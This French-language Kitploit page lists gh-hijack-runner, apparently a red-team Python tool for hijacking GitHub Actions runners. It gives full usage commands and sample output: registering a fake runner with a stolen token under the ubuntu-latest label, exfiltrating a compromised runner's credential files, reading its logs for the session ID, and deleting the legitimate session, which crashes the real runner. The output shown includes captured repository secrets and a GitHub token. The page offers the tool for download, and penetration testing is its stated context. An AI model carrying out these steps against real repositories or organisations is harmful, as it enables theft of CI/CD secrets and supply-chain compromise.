Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
gh-hijack-runner — Un script Python permettant de créer un faux runner GitHub et de détourner les jobs de pipeline afin de divulguer les secrets CI/CD. | Kitploit
Outils/GitHubGitHub/synacktiv/gh-hijack-runner
ExploitationExfiltration de DonnéesTests d'IntrusionSécurité CloudSécurité de la Chaîne LogistiqueRed Teaming
GitHubsynacktiv/gh-hijack-runner

gh-hijack-runner

Un script Python permettant de créer un faux runner GitHub et de détourner les jobs de pipeline afin de divulguer les secrets CI/CD.

Voir le dépôt
3353il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

gh-hijack-runner

Un script Python pour créer un faux runner GitHub et détourner des jobs de pipeline afin de fuiter des secrets CI/CD.

Découvrez plus de détails dans l'article de blog suivant : https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization

Exploitation

Si vous pouvez obtenir un jeton d'enregistrement ou exécuter du code à distance sur un runner GitHub auto-hébergé, vous pouvez créer ou prendre le contrôle d'un runner GitHub. Cela vous permettra d'accéder à tous les secrets transmis à ce runner.

En utilisant un jeton d'enregistrement, vous pouvez enregistrer un runner étiqueté ubuntu-latest, obtenant ainsi accès aux jobs initialement destinés aux runners provisionnés par GitHub. Cela vous permet de compromettre tout workflow utilisant cette méthode.

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

Installation

root@kitploit:~
$ pip install -r requirements.txt 

Utilisation

À partir d'un jeton d'enregistrement

Si vous parvenez à obtenir un jeton d'enregistrement pour enregistrer un runner auto-hébergé pour un dépôt ou une organisation, vous pouvez enregistrer le faux runner GitHub avec cette commande :

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest

Il peut s'agir d'un jeton d'enregistrement d'organisation ou de dépôt.

À partir des identifiants d'un runner GitHub existant

Avec une exécution de code arbitraire sur un runner auto-hébergé, vous devez exfiltrer trois fichiers pour prendre l'identité du runner compromis :

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root   root     266 Apr 21 12:27 .credentials
-rw------- 1 root   root    1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root   root     325 Apr 21 12:27 .runner
[...]

Pour récupérer des jobs, le runner établit une session avec GitHub. Chaque runner ne peut maintenir qu'une seule session. Pour créer une nouvelle session, vous devez supprimer la session actuelle établie par le runner légitime. L'ID de session peut être trouvé ici :

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.

/!\ La suppression de la session actuelle fera planter le runner légitime /!\

Ensuite, vous pouvez supprimer la session actuelle :

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.

Enfin, vous pouvez détourner ce runner :

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json                                                         
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

Notez que cela ne fonctionnera pas pour un runner auto-hébergé éphémère.

Aide

root@kitploit:~
$ gh-hijack-runner.py --help
Hijack GitHub runners                

Usage:
    gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
    

Options:
    -h --help                               Show this screen.
    --version                               Show version.
    -v, --verbose                           Verbose mode
    --output <folder>                       Save data to output file
    --runer-name <name>                     Runner name
    --runner-group <name>                   Runner group name
    --last-Message-id <id>                  Last message ID

Args:
    --registration-token <token>            Token used to register a runner
    --url <url>                             Full repository or org URL
    --rsa-params <rsa>                      Path to .credentials_rsaparams file
    --credentials <credentials>             Path to .credentials file
    --runner <runner>                       Path to .runner file
    --session-id <session>                  Already running session id
    --aes-key <key>                         Base64 encoded AES key associated with a session id
    --labels <labels>                       Labels used for registration (ubuntu-latest,customrunner)
    --ephemeral                             Create ephemeral runner
    --delete-session-id <session>           Delete session. Warning: It will crash the related GitHub runner
    

Examples:
    $ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
    $ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json

Author: @hugow

Crédits

  • @karimpwnz pour le crypto
  • @0xn3va pour la suppression de session
  • @frichette_n pour l'idée originale sur GitLab
Télécharger l’outil